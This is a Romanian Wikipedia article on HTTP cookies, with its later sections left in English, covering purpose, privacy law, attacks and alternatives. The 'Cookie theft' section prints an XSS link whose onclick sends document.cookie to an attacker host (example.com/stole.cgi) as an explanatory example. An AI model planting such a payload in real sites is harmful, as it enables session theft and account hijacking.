Cookie

De la Wikipedia, enciclopedia liberă

Acest articol este scris parţial sau integral în limba engleză.
Puteţi contribui la Wikipedia prin traducerea lui.

Un cookie HTTP este un fragment de text trimis de un server unui browser web şi apoi trimis înapoi (nemodificat) de către browser de fiecare dată când accesează acel server. Cookie-urile sunt folosite pentru autentificare, precum şi pentru urmărirea comportamentului utilizatorilor; aplicaţii tipice sunt reţinerea preferinţelor utilizatorilor sau implementarea sistemului de „coş de cumpărături”. Termenul "cookie" este o preluare directă din limba engleză, fiind derivat din "magic cookie", un concept des utillizat în IT, care a şi inspirat cookie-urile HTTP.

Cookie-urile au creat îngrijorare din cauza faptului că permit strângerea de informaţii despre comportamentul utilizatorilor (în principiu ce pagini vizitează şi când). Ca urmare, aspecte ale folosirii lor (şi a informaţiilor culese) sunt supuse unor restricţii legale în unele ţări, printre care Statele Unite ale Americii şi Uniunea Europeană. Cookie-urile au fost de asemenea criticate pentru faptul că identificarea utilizatorilor nu e întotdeauna precisă, ca şi pentru faptul că prin intermediul lor se pot executa atacuri informatice.

Există o serie de păreri greşite despre cookie-uri, cele mai multe bazate pe impresia (greşită) că ele ar conţine cod executabil; de fapt, ele sunt doar date, şi nu pot să execute nici o operaţie. Ele nu sunt nici spyware şi nici viruşi, deşi anumite programe anti-virus şi anti-spyware le semnalează prezenţa în sistem.

Cele mai multe browsere moderne permit utilizatorului să decidă dacă acceptă sau nu cookie-uri, dar site-urilor care le folosesc le vor lipsi anumite facilităţi - de exemplu nu se va putea folosi coşul de cumpărături virtual dacă acesta a fost implementat cu ajutorul cookie-urilor.

Cuprins

[modifică] Scopul

Cookie-urile sunt folosite de serverele web pentru a putea diferenţia utilizatorii şi pentru a putea reacţiona în funcţie acţiunile acestora. Ele au fost inventate pentru a se putea implementa un coş de cumpărături virtual: utilizatorul navighează sit-ul şi poate adăuga sau elimina în voie obiectele din coş.

Autentificarea utilizatorilor faţă de server este o altă aplicaţie a cookie-urilor; acestea reţin faptul că utilizatorul este deja autentificat şi serverul îi va permite acţiuni care sunt rezervate doar celor înregistraţi.

Unele sit-uri folosesc cookie-urile şi pentru a permite utilizatorilor să modifice felul în care arată paginile de web, în funcţie de preferinţele personale, şi pentru a reţine aceste preferinţe între sesiuni. Se pot modifica şi reţine în acest fel atât aspecte legate de funcţionalitatea cât şi de aspectul grafic al paginilor. De exemplu, Wikipedia permite utilizatorilor înregistraţi să modifice aspectul paginilor, iar în Google, chiar şi utlizatorii neînregistraţi pot alege câte rezultate să fie afişate într-o pagină.

Cookie-urile se folosesc şi pentru a urmări activitatea unui utilizator pe un site, sau chiar pe mai multe site-uri, în cazul cookie-urilor „third-party” sau a aşa-numiţilor „web-bugs”. Urmărirea în cadrul unui site este făcută în scopul obţinerii unor statistici ale folosirii. Companiile de publicitate urmăresc activitatea utilizatorilor în cadrul mai multor site-uri pentru a face statistici din care să rezulte interesele lor, putând astfel să decidă ce reclame să afişeze la un anumit moment, unui anumit utilizator.

[modifică] Realizarea

Cookie-urile nu sunt decât nişte fragmente de date fără semnificaţie pentru utilizator sau pentru browserul său, dar care pot fi interpretate de server. Browserul le primeşte si le returnează serverului nemodificate, introducând astfel o „amintire” a evenimetelor trecute în cererea HTTP, care în sine este atemporală (fără cookie-uri, fiecare cerere este un eveniment izolat, fără a avea în principiu vreo legătură cu alte cereri trecute sau viitoare, către acelaşi server). Returnând un cookie unui server, acesta poate face legătura cu cereri precedente (în care acelaşi server a trimis cookie-ul). În afară de servere, cookie-urile mai pot fi create de un script scris într-un limbaj cum ar fi java, dacă acest lucru e permis de browser.

Descrierea detaliată a mecanismului[1][2] sugerează ca browserele să poată reţine cel puţin 300 de cookie-uri de câte 4 kb, şi cel puţin 20 pentru fiecare server sau domeniu de internet.

La crearea cookie-ului se poate specifica şi data de şteregere; în caz contrar, acesta va fi şters la inchiderea browserului. Un magazin virtual poate dori să se reţină conţinutul coşului de cumpărături între sesiuni, astfel încât la următoarea vizită utilizatorul să nu trebuiască să caute din nou toate produsele. În acest caz, vor crea un cookie cu un termen de ştergere ceva mai îndepărtat de momentul curent. Doar cookie-urile care au un termen de ştergere specificat vor „supravieţui” deci între sesiuni - acestea pot fi numite „persistente”.

[modifică] Neadevăruri

De la apariţia lor pe internet, s-au răspândit mai multe păreri greşite despre cookie-uri.[3][4] În 2005, Jupiter Research a publicat rezultatele unui sondaj,[5] conform căruia o bună parte a celor chestionaţi credeau că:

  • Cookie-urile sunt similare viermilor sau viruşilor, adică pot să şteargă date de pe hard disk;
  • Cookie-urile sunt o formă de spyware, adică pot să citească informaţii personale stocate în PC;
  • Cookie-urile generează popup-uri (ferestre cu reclame deschise automat de browser, în general supărătoare pentru utilizator);
  • Cookie-urile sunt folosite pentru a trimite spam;
  • Cookie-urile sunt o formă de reclamă.

De fapt cookie-urile sunt doar date, nu cod: ele nu pot să şteargă sau să citească ceva de pe PC-ul utilizatorului.[6] Totuşi, cookie-urile permit detectarea paginilor vizitate de un utilizator într-unul sau mai multe site-uri. Aceste informaţii pot fi colectate într-un profil al utilizatorului. Acesta este anonim (nu conţine informaţii personale cum ar fi nume sau adresă, dar conţine totuşi un IP), cu excepţia cazului în care utilizatorul însuşi şi-a dat datele personale. Chiar dacă sunt anonime, datele colectate în acest fel au dat naştere unor îngrijorări în legătură cu intimitatea de care se poate beneficia navigând pe internet.

Conform aceluiaşi sondaj, destul de mulţi intervievaţi nu ştiau cum să şteargă cookie-urile reţinute de browserele lor.

[modifică] Configurarea browserului

Cele mai multe browsere moderne suportă cookie-uri; ele permit însă utilizatorului să decidă dacă va folosi sau nu cookie-uri. Variantele cele mai folosite sunt:[7] (1) nu sunt folosite cookie-uri, (2) browserul cere permisiunea utilizatorului la fiecare cookie, sau (3) toate cookie-urile sunt acceptate.

Fereastra de configurare a cookie-urilor din Mozilla Firefox, afişând cookie-urile în funcţie de domeniul de provenienţă.
Extinde
Fereastra de configurare a cookie-urilor din Mozilla Firefox, afişând cookie-urile în funcţie de domeniul de provenienţă.

Browserul poate permite specificarea mai detaliată a cookie-urilor care să fie acceptate. De obicei utilizatorul are la dispoziţie următoarele opţiuni: respingerea cookie-urilor pentru anumite domeniii de internet; respingerea cookie-urilor third party (explicate mai jos); acceptarea cookie-urilor dar ştergerea lor la închiderea browserului; permisiunea ca un server să creeze cookie-uri pentru un alt domeniu. Cele mai multe browsere care suportă Javascript dau posibilitatea afişării cookie-urilo active pentru o anumită pagină, scriind javascript:alert("Cookies: "+document.cookie) în câmpul de editare a URL-ului. În plus, unele browsere permit utilizatorului să vadă şi să şteargă individual cookie-urile stocate.

Standardul P3P dă posibilitatea serverelor să declare ce fel de informaţii colectează şi în ce scop, incluzând informaţiile colectate cu ajutorul cookie-urilor. Astfel, un browser poate să decidă dacă acceptă sau nu cookie-urile, sau poate afişa utilizatorului intenţiile declarate de server, iar acesta va decide acceptarea sau respingerea cookie-urilor.

[modifică] Anonimitatea şi cookie-urile „third party”

Cookie-urile au implicaţii destul de importante în ceea ce priveşte anonimitatea şi securitatea informaţiilor de natură personală ale celor care accesează pagini de web. Deşi cookie-urile sunt trimise doar serverului care le-a creat sau unuia care este în acelaşi domeniu de Internet, o pagină poate conţine imagini (sau alte elemente) găzduite pe mai multe servere din domenii diferite. Cookie-urile create de aceste servere secundare (faţă de serverul pe care este găzduită pagina propriu-zisă) se numesc „third party” în limba engleză, o traducere mot-a-mot fiind „terţă parte”.

În acest exemplu (fictiv), o companie de publicitate are bannere pe două pagini de web. Imaginile sunt memorate pe serverele companiei; în acest fel, folosind cookie-uri third party, compania de publicitate poate urmări activitatea utilizatorilor pe cele două pagini.
Extinde
În acest exemplu (fictiv), o companie de publicitate are bannere pe două pagini de web. Imaginile sunt memorate pe serverele companiei; în acest fel, folosind cookie-uri third party, compania de publicitate poate urmări activitatea utilizatorilor pe cele două pagini.

Companiile publicitare folosesc astfel de cookie-uri pentru a urmări utilizatorii care accesează paginile în care aceasta are imagini sau aşa numite „Web-bugs” (care sunt imagini cu dimensiunea de un singur pixel, în mod normal invizibile -transparente-, al căror singur rol constă în a declanşa un transfer de cookie-uri). În acest fel compania cunoaşte comportamentul utilizatorilor şi poate plasa reclame pertinente (apropiate de preocupările şi interesele utilizatorului) în anumite pagini.

Posibilitatea generării unei aproximări a comportamentului utilizatorilor a fost considerată de unii drept o ameninţare a anonimităţii, mai ales atunci cănd aceasta se face prin urmărirea acţiunilor pe mai multe domenii de Internet, folosind cookie-uri „third party”. din această cauză, folosirea cookie-urilor este reglementată prin lege în unele ţări.

Guvernul Statelor Unite ale Americii a elaborat un set strict de reguli în privinţa cookie-urilor în anul 2000, după ce a ieşit la iveală faptul că Direcţia pentru Controlul Drogurilor a Casei Albe folosea cookie-uri pentru a vedea dacă cei care îi accesau site-ul accesau după aceea pagini de web despre folosirea ori producerea drogurilor. În 2002, Daniel Brandt, militant pentru securitatea datelor personale pe web, a descoperit că şi pagina de web a CIA lăsa pe hard-disk-urile utilizatorilor cookie-uri persistente (cu data de expirare 2010). După ce a fost anunţată că îşi încalcă propriile reguli, CIA a răspuns că trimiterea cookie-urilor a fost accidentală, că ele nu au fost folosite efectiv pentru a urmări utilizatorii şi şi-a modificat pagina astfel încât să nu mai folosească cookie-uri.[8] Pe 25 decembrie 2005, Brandt a descoperit că şi NSA lăsa două cookie-uri persistente pe calculatoarele utilizatorilor, din cauza unui update de software. După ce a fost informată de acest lucru, NSA a dezactivat trimiterea de cookie-uri de pe site-ul propriu.[9]

O directivă din 2002 a Uniunii Europene în privinţa securităţii informaţiilor de natură personală pe Internet conţine reguli relativ la folosirea cookie-urilor. Printre altele, Articolul 5, Alineatul 3 specifică faptul că salvarea datelor (cum ar fi cookie-uri) pe calculatorul unui utilizator poate fi făcută doar dacă: 1) utilizatorului i se spune cum vor fi utilizate aceste date; şi 2) utilizatorului i se dă posibilitatea de a refuza aceste date. Totuşi, acelaşi articol menţionează faptul că salvarea datelor necesare din motive tehnice este exceptată de la această regulă. Această directivă trebuia aplicată încă din octombrie 2003, dar un raport din decembrie 2004 [10] spune (la pagina 38) că această prevedere nu a fost pusă în practică, şi că unele ţări membre nici măcar nu au adoptat-o (Slovacia, Letonia, Grecia, Belgia, şi Luxembourg). Acelaşi raport propune o analiză serioasă a situaţiei din statele membre (ale Uniunii Europene).

[modifică] Dezavantaje ale cookie-urilor

În afară de problema securităţii datelor personale, mai există câteva motive pentru care folosirea cookie-urilor este criticată: ele nu pot identifica foarte precis utilizatorii, şi pot fi folosite pentru a ataca sistemele IT.

[modifică] Identificarea imprecisă

Dacă pe un calculator sunt folosite mai multe browsere, fiecare va avea cookie-urile sale. Deci cookie-urile nu identifică persoana, ci combinaţia cont de utilizator, calculator, browser. Oricine foloseşte mai multe conturi de utilizator, calculatoare sau browsere, va avea mai multe seturi de cookie-uri.

De asemenea, prin cookie-uri nu se poate face diferenţa dintre doi utilizatori care folosesc acelaşi calculator şi browser (dacă nu folosesc conturi de utilizator diferite).

[modifică] Interceptarea cookie-urilor

În mod normal, cookie-urile sunt transferate între un sever (sau mai multe servere din acelaşi domeniu) şi calculatorul utilizatorului. Deoarece cookie-urile pot conţine informaţii confidenţiale (nume de utilizator, parolă etc.), ele nu ar trebui să fie accesibile altor calculatoare. Din păcate, sesiunile HTTP obişnuite sunt vizibile tuturor calculatoarelor din reţea, care pot intercepta pachetele de date. Aceste cookie-uri nu pot conţine deci informaţii confidenţiale. O soluţie posibilă este HTTPS, care foloseşte Transport Layer Security pentru a cripta toate datele schimbate între server şi calculatorul utilizatorului.

Aşa numitul „cross-site scripting” (scripting inter-sit) permite trimiterea unui cookie altor servere, care nu ar trebui în mod normal să-l primească. Browser-ele moderne permit executarea (de către client) a unor fragmente de cod primite de la server; dacă cookie-urile pot fi accesate în timpul execuţiei, ele ar putea fi trimise altor servere decât cele „autorizate”. Aceasta se numeşte „furtul” cookie-ului, iar criptarea nu ajută împotriva acestui gen de atac.[11]

Aceasă metodă este de obicei folosită pe sit-uri care permit utilizatorilor să trimită conţinut HTML. Folosind un anumit fragment de cod, un utilizator rău-voitor poate să primească cookie-uri ale altor utilizatori; cu ajutorul lor, el poate apoi să se conecteze şi să se păcălească serverul, care crede că altcineva s-a autentificat.

[modifică] „Otrăvirea” cookie-urilor

„Otrăvirea” cookie-urilor: un atacator trimite unui server un cookie invalid (de exemplu un cookie primit de la server, dar modificat).
Extinde
„Otrăvirea” cookie-urilor: un atacator trimite unui server un cookie invalid (de exemplu un cookie primit de la server, dar modificat).

Cookie-urile ar trebui să fie reţinute şi trimise serverului neschimbate; un atacator ar putea însă să le modifice şi apoi să le trimită serverului. Acest proces se numeşte „otrăvirea” cookie-urilor, şi este uneori folosit după „furtul” lor. Dacă, de exemplu, un cookie reţine suma care trebuie plătită pentru cumpărăturile din coşul virtual, schimbarea acestei valori ar putea permite cumpărarea unor bunuri la un preţ mult mai mic.

Totuşi, cele mai multe site-uri reţin cu ajutorul cookie-urilor doar un identificator de sesiune: acesta este un număr unic(generat aleator) care identifică sesiunea utilizatorului - el reprezintă de fapt un index într-o tabelă internă a serverului, în care se reţin valorile cu adevărat importante, cum ar fi preţul unor cumpărături, ş.a.m.d.. În acest fel problema cookie-urilor invalide este în principiu eliminată.

[modifică] Cookie inter-site

Furtul de cookie-uri: un cookie care ar trebui să fie comunicat serverului e trimis de client unui alt calculator.
Extinde
Furtul de cookie-uri: un cookie care ar trebui să fie comunicat serverului e trimis de client unui alt calculator.

Fiecare site ar trebui să aibă acces doar la cookie-urile proprii, adică un site de genul rău.net nu ar trebui să poată citi cookie-uri trimise clientului de un alt site bun.net. Totuşi, erori în programarea browser-elor pot duce la încălcarea acestei reguli. Se ajunge la o situaţie similară trimiterii de cookie-uri modificate, dar în acest caz nu este atacat serverul, ci un utilizator de bunăcredinţă care foloseşte un browser vulnerabil. În acest fel, de exemplu, se poate fura acel identificator de sesiune şi atacatorul poate să se „autentifice” în locul utilizatorului de bună credinţă.

[modifică] Alternative la cookie-uri

Există o serie de alternative la folosirea cookie-urilor. Acestea au însă şi ele dezavantajele lor, de aceea cookie-urile sunt preferate de cele mai multe ori în practică. Cele mai multe dintre aceste metode alternative permit urmărirea acţiunulior utilizatorilor, deşi cu o acurateţe mai mică decât cea a cookie-urilor. Securitatea informaţiilor personale rămâne deci o problemă, chiar daca browser-ul este configurat să nu accepte cookie-uri.

[modifică] Adresa IP

O metodă foarte puţin precisă de urmărire a utilizatorilor se bazează pe reţinerea adreselor IP a calculatoarelor care solicită pagini web. Aceasta a fost disponibilă şi folosită încă de la începuturile World Wide Web-ului, pentru că trimiterea paginii către un client presupune cunoaşterea adresei IP a acestuia (sau a proxy-ului, dacă se foloseşte unul). Această adresă poate fi reţinută de către server indiferent dacă cookie-urile sunt sau nu folosite.

Totuşi, calculatoarele şi proxy-urile pot fi folosite de mai mulţi utilizatori; de asemenea, acelaşi calculator poate avea adrese IP diferite, de exemplu în cazul unor conexiuni succesive prin dial-up. De aceea, o urmărire fiabilă a unui utilizator este dificilă; o proprietate a protocolului HTTP poate ajuta în acest sens: atunci când un browser cere o pagină din cauză că utilizatorul urmează o legătură, cererea conţine şi adresa paginii pe care se află această legătură. Dacă serverul stochează aceste adrese, el poate avea succesiunea de pagini vizitate de utilizator. Nici această metodă nu este la fel de eficientă ca folosirea cookie-urilor, deoarece mai mulţi utilizatori pot accesa aceeaşi pagină de la acelaşi calculator, NAT router, sau proxy şi apoi să urmeze două legături diferite. În orice caz, în acest fel se pot doar urmări acţiunile utilizatorului, şi nu se pot suplini celelalte moduri de folosire a cookie-urilor.

Urmărirea cu ajutorul adresei IP poate fi imposibilă dacă utilizatorul foloseşte unul dintre sistemele de acces anonim la internet, cum ar fi Tor. Acestea fac ca un browser să aibă mai multe adrese IP în cadrul unei singure sesiuni, şi chiar pot face să pară că de la aceeaşi adresă IP vin mai mulţi utilizatori.

[modifică] URL (query string)

O metodă mai precisă se bazează pe introducerea infromaţiei în adresa URL. Partea denumită „query string” este folosită de obicei, dar se pot folosi şi alte secţiuni. Mecanismul sesiunilor PHP foloseşte această metodă dacă cookie-urile nu sunt activate.

În principiu metoda constă în adăugarea la adresele URL ale legăturilor (de pe paginile găzduite) a unui şir de caractere (informaţia care altfel ar fi fost reţinută într-un cookie). Atunci când este urmată una dintre legături, browser-ul returnează întregul URL (deci şi partea ataşată) serverului. Diferenţa faţă de mecanismul cookie-urilor este următoarea: dacă URL-ul este refolosit (de exemplu trimis prin email sau reţinut în browser), aceeaşi informaţie este primită de server; de exemplu urmând un URL primit prin email, utilizatorul va fi întâmpinat de preferinţele ori coşul de cumpărături iniţial (al celui care i-a trimis email-ul). Mai mult, dacă acelaşi utilizator deschide aceeaşi pagină de două ori, dar „venind” din pagini diferite (de exemplu dintr-un motor de căutare şi dintr-o altă pagină a aceluiaşi domeniu), el va vedea lucruri diferite.

Un alt dezavantaj al acestei metode este legat de securitate: trimiţând o adresă prin email, este posibil să fie trimis şi un identificator de sesiune, iar cel care va urma legătura va apărea pentru server ca fiind un utilizator autentificat. În această privinţă cookie-urile sunt mult mai sigure, fiind mai greu de „furat”.

[modifică] Autentificare HTTP

Protocolul HTTP include mecanisme (cum ar fi digest access authentication), care permit accesarea unei pagini Web doar după furnizarea unui nume de utilizator şi a unei parole, pe care browser-ul le reţine şi le transmite server-ului la fiecare cerere, fără ca utilizatorul să le introducă de fiecare dată; din punctul acestuia de vedere, lucrurile se desfăşoară ca şi în cazul folosirii cookie-urilor. Totuşi, transmiterea parolei (şi chiar a numelui de utilizator) de fiecare dată când este cerută o pagină este destul de nesigură: acest trafic poate fi interceptat. Identificatorul de sesiune (informaţia care putea fi interceptată dacăse foloseau cookie-uri) expiră destul de repede după ce nu a fost folosit, devenind inutilizabil pentru un atacator.

[modifică] Obiecte Locale Macromedia Flash

Dacă un browser foloseşte plugin-ul Macromedia Flash Player funcţia de salvare locală a unor obiecte poate fi folosită într-un mod foarte asemănător cookie-urilor. Aceasta poate fi o opţiune atrăgătoare pentru dezvoltatorii de pagini Web, pentru că majoritatea utilizatorilor de Windows folosesc acest plugin, iar limita de mărime este de 100 kb. În plus, configurările sunt separate de cookie-uri, deci stocarea locală a obiectelor poate fi activată, iar cookie-urile dezactivate.

[modifică] Alte metode de a stoca date local

Unele browsere suportă un mecanism prin care paginile Web îşi pot stoca local unele date printr-un script. Internet Explorer, de exemplu, poate fi folosit pentru a stoca date într-o pagină Web salvată pe hard-disk, într-un document XML, sau în secţiunile „Favorites” („Pagini favorite” ori „Semne de carte”) ori „History” („Pagini recente”) ale browser-ului.[12]

[modifică] window.name

Dacă Javascript este activat, proprietatea name name a obiectului window poate fi folosită pentru a stoca local date, deoarece aceasta rămâne neschimbată la încărcarea succesivă a unor pagini Web. Metoda este mai puţin cunoscută, şi din această cauză nu este considerată drept o ameninţare la adresa securităţii.[13]

[modifică] History

The term "HTTP cookie" derives from "magic cookie", a packet of data a program receives but only uses for sending it again, possibly to its origin, unchanged. Magic cookies were already used in computing when Lou Montulli had the idea of using them in Web communications in June 1994[14]. At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for a customer. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.[15][16]

Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Netscape, released on September 1994, supported cookies. The first actual use of cookies (out of the labs) was made for checking whether visitors to the Netscape Web site had already visited the site. Montulli and Giannandrea applied for a patent for the cookie technology in 1995; it was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995.[17]

The introduction of cookies was not widely known to the public, at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. Some people were aware of the existence of cookies as early as the first quarter of 1995,[18] but the general public learned about them after the Financial Times published an article about them on February 12 1996. In the same year, cookies received lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.

The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the IETF was formed. Two alternative proposals for introducing a state in an HTTP transactions had been proposed by Brian Behlendorf and David Kristol, respectively, but the group, headed by Kristol himself, soon decided to use the Netscape specification as a starting point. On February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.

At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was followed by RFC 2965 in October 2000.

[modifică] Implementation

[modifică] Setting a cookie

Transfer of Web pages follows the HyperText Transfer Protocol (HTTP). Regardless of cookies, browsers request a page from web servers by sending them a short text called HTTP request. For example, to access the page http://www.w3.org/index.html, browsers connect to the server www.w3.org sending it a request that looks like the following one:

GET /index.html HTTP/1.1

browser
server

The server replies by sending the requested page preceded by a similar packet of text, called HTTP header. This packet may contain lines requesting the browser to store cookies:

HTTP/1.1 200 OK
Set-Cookie: name=value
Content-type: text/html
 
(content of page)

browser
server

The line Set-cookie is only sent if the server wishes the browser to store a cookie. Indeed, it is a request for the browser to store the string name=value and send it back in all future requests to the server. If the browser supports cookies and cookies are enabled, every subsequent page request to the same server contains the cookie. For example, the browser requests the page http://www.w3.org/spec.html by sending the server www.w3.org a request like the following:

GET /spec.html HTTP/1.1
Cookie: name=value
Accept: */*
 

browser
server

This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.

The value of a cookie can be modified by the server by sending a new Set-Cookie: name=newvalue line in response of a page request. The browser then replaces the old value with the new one.

The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program. The HTTP server only sends the result of the program (a document preceded by the header containing the cookies) to the browser.

Cookies can also be set by JavaScript or similar scripts running within the browser. In JavaScript, the object document.cookie is used for this purpose. For example, the instruction document.cookie = "temperature=20" creates a cookie of name temperature and value 20.[19]

[modifică] Cookie attributes

Beside the name/value pair, a cookie may also contain an expiration date, a path, a domain name, and whether the cookie is intended only for encrypted connections. RFC 2109 also specifies that cookies must have a mandatory version number, but this is usually omitted. These pieces of data follow the name=newvalue pair and are separated by semicolons. For example, a cookie can be created by the server by sending a line Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org.

Imagine:HTTP-Cookie-Google.png
Example of an HTTP response from google.com, which sets a cookie with attributes.

The domain and path tell the browser that the cookie has to be sent back to the server when requesting URLs of a given domain and path. If not specified, they default to the domain and path of the object that was requested. As a result, the domain and path strings may tell the browser to send the cookie when it normally would not. For security reasons, the cookie is accepted only if the server is a member of the domain specified by the domain string.

Cookies are actually identified by the triple name/domain/path, not only the name (the original Netscape specification considers only the pair name/path). In other words, same name but different domains or paths identify different cookies with possibly different values. As a result, cookie values are changed only if a new value is given for the same name, domain, and path.

The expiration date tells the browser when to delete the cookie. If no expiration date is provided, the cookie is deleted at the end of the user session, that is, when the user quits the browser. As a result, specifying an expiration date is a means for making cookies to survive across browser sessions. For this reason, cookies that have an expiration date are called persistent.

The expiration date is specified in the "Wdy, DD-Mon-YYYY HH:MM:SS GMT" format. As an example, the following is a cookie sent by a Web server (the value string has been changed):

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net

The name of this particular cookie is RMID, while its value is the string 732423sdfs73242. The server can use an arbitrary string as the value of a cookie. The server may collapse the value of a number of variables in a single string, like for example a=12&b=abcd&c=32. The path and domain strings / and .example.net tell the browser to send the cookie when requesting an arbitrary page of the domain .example.net, with an arbitrary path.

[modifică] Expiration

Cookies expire, and are therefore not sent by the browser to the server, under these conditions:

  1. At the end of the user session (i.e. when the browser is shut down) if the cookie is not persistent
  2. An expiration date has been specified, and has passed
  3. The expiration date of the cookie is changed (by the server or the script) to a date in the past
  4. The browser deletes the cookie by user request

The third condition allows a server or script to explicitly delete a cookie.

[modifică] Authentication

Cookies can be used by a server to recognise authenticated users and to personalise the web pages of a site depending on the preferences of a user. This can be done for example as follows:

  1. The user inserts username and password in the text fields of a login page and sends them to the server;
  2. The server receives username and password and checks them; if correct, it sends back a page confirming that logging has been successful together with a cookie, storing the pair user/cookie (or just the cookie);
  3. Every time the user requests a page from the server, the browser automatically sends the cookie back to the server; the server compares the cookie with the stored ones; if a match is found, the server knows which user has requested that page.

This is the method commonly used by many sites that allow logging in, such as Yahoo! and Wikipedia.

[modifică] Personalization

Cookies can be used for allowing users to express preferences about a Web site. For example, the Google search engine allows the user to choose how many results are to be shown for every query, and this choice is maintained across sessions.

If a user was authenticated using the technique above, when they request a page the server is also sent the cookie associated with the user. It can therefore adapt the requested page to the stored used preferences. When authentication is not used, the user preferences are stored in a cookie. The users select their preference by entering them in a Web form and submitting it to the server. The server encodes them in a cookie and sends it back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalise the page according to the user preferences.

For example, Google stores the user preferences in a cookie of name PREF. This cookie is created with default values when the user accesses the site for the first time. For example, the cookie value contains the string NR=10, that indicates a default preference of ten hits displayed in each page. If the user changes this number to 20 in the preference page, the server modifies the cookie with NR=20. Every time the user queries the search engine, the cookie is sent to the server along with the query. This way, the server knows how many hits should be shown in each page.

[modifică] Tracking

Cookies can also be used for tracking the path of a user while visiting the web pages of a site. This can also be done in part by using the IP address of the computer requesting the page or the referer field of the HTTP header, but cookies allows for a greater precision. This can be done for example as follows:

  1. If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;
  2. From this point on, the cookie will be automatically sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also store the URL of the requested page along with the date/time and the cookie in a log file.

By looking at the log file, it is then possible to find out which pages, and in which sequence, the user has visited. For example, if the log contains some requests done using the cookie id=dfhsiw, these requests all come from the same user. The URL and time/date stored with the cookie allows finding out which pages the user has visited, and at which time.

[modifică] Third-party cookies

Images or other objects contained in a Web page may reside in servers different from the one holding the page. In order to show such a page, the browser downloads all these objects, possibly receiving cookies. These cookies are called third-party cookies if the server sending them is located outside the domain of the Web page.

This condition is common with on-line advertisement. Indeed, web banners are typically stored in servers of the advertising company, which are not in the domain of the Web pages showing them. If third-party cookies are not rejected by the browser, an advertising company can track a user across the sites where it has placed a banner. In particular, whenever a user views a page containing a banner, the browser retrieves the banner from a server of the advertising company. If this server has previously set a cookie, the browser sends it back, allowing the advertising company to link this access with the previous one. By choosing a unique banner URL for every Web page where it is placed or by using the HTTP referer field, the advertising company can then find out which pages the user has viewed. The same technique can be used with web bugs, that are still images embedded in a Web page, but are invisible to the user.

Third-party cookies are used to create an anonymous profile of the user. This allows the advertising company to select the banner to show to a user based on the user's profile. The advertising industry has always denied any other use of these profiles.

Many modern browsers, such as Internet Explorer, Opera and Mozilla Firefox, block third party cookies if requested by the user. Internet Explorer version 6 allowes a mild form of blocking, called leashing. A leashed cookie is a third-party cookie that is sent by the browser only when accessing a third-party document via the same first-party. For example, if third.com sets a cookie when an image is requested, and this image is set for the first time when the user views a document from first.com, the same cookie is not sent if the user downloads a document that contains the same image but the document is on another site other.com, if the cookie is leashed. A leashed cookie is different from a blocked cookie in that it is sent, in this example, if the image is contained in another document from the same site first.com[20].

[modifică] Basket

Some online shopping sites allow a user, even when not logged in, to store a number of items in a "virtual basket". The user starts navigating the site with an empty basket, and can add items to the basket while visiting the site. The list of items the user has chosen can be stored using cookies. For example, the server sends an empty cookie to the browser when the user visits the first page; whenever the user adds an item to the basket, the server adds the name of the item to the cookie.

This is a very insecure mechanism, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.

[modifică] Cookie theft

The cookie specifications constrain cookies to be sent back only to the servers in the same domain as the server from which they originate. However, the value of cookies can be sent to other servers using means different from the Cookie header.

In particular, scripting languages such as JavaScript and JScript are usually allowed access to cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.

As an example, an attacker running the domain example.com may post a comment containing the following link to a popular blog they do not otherwise control:

<a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies that are active for the page. As a result, this list of cookies is sent to the example.com server, and the attacker is then able to collect the cookies of other users.

This type of attack is difficult to detect on the user side, since the script is coming from the same domain that has set the cookie, and the operation of sending the value appears to be authorised by this domain. It is usually considered the responsibility of the administrators running sites where users can post to disallow the posting of such malicious code.

[modifică] Legături externe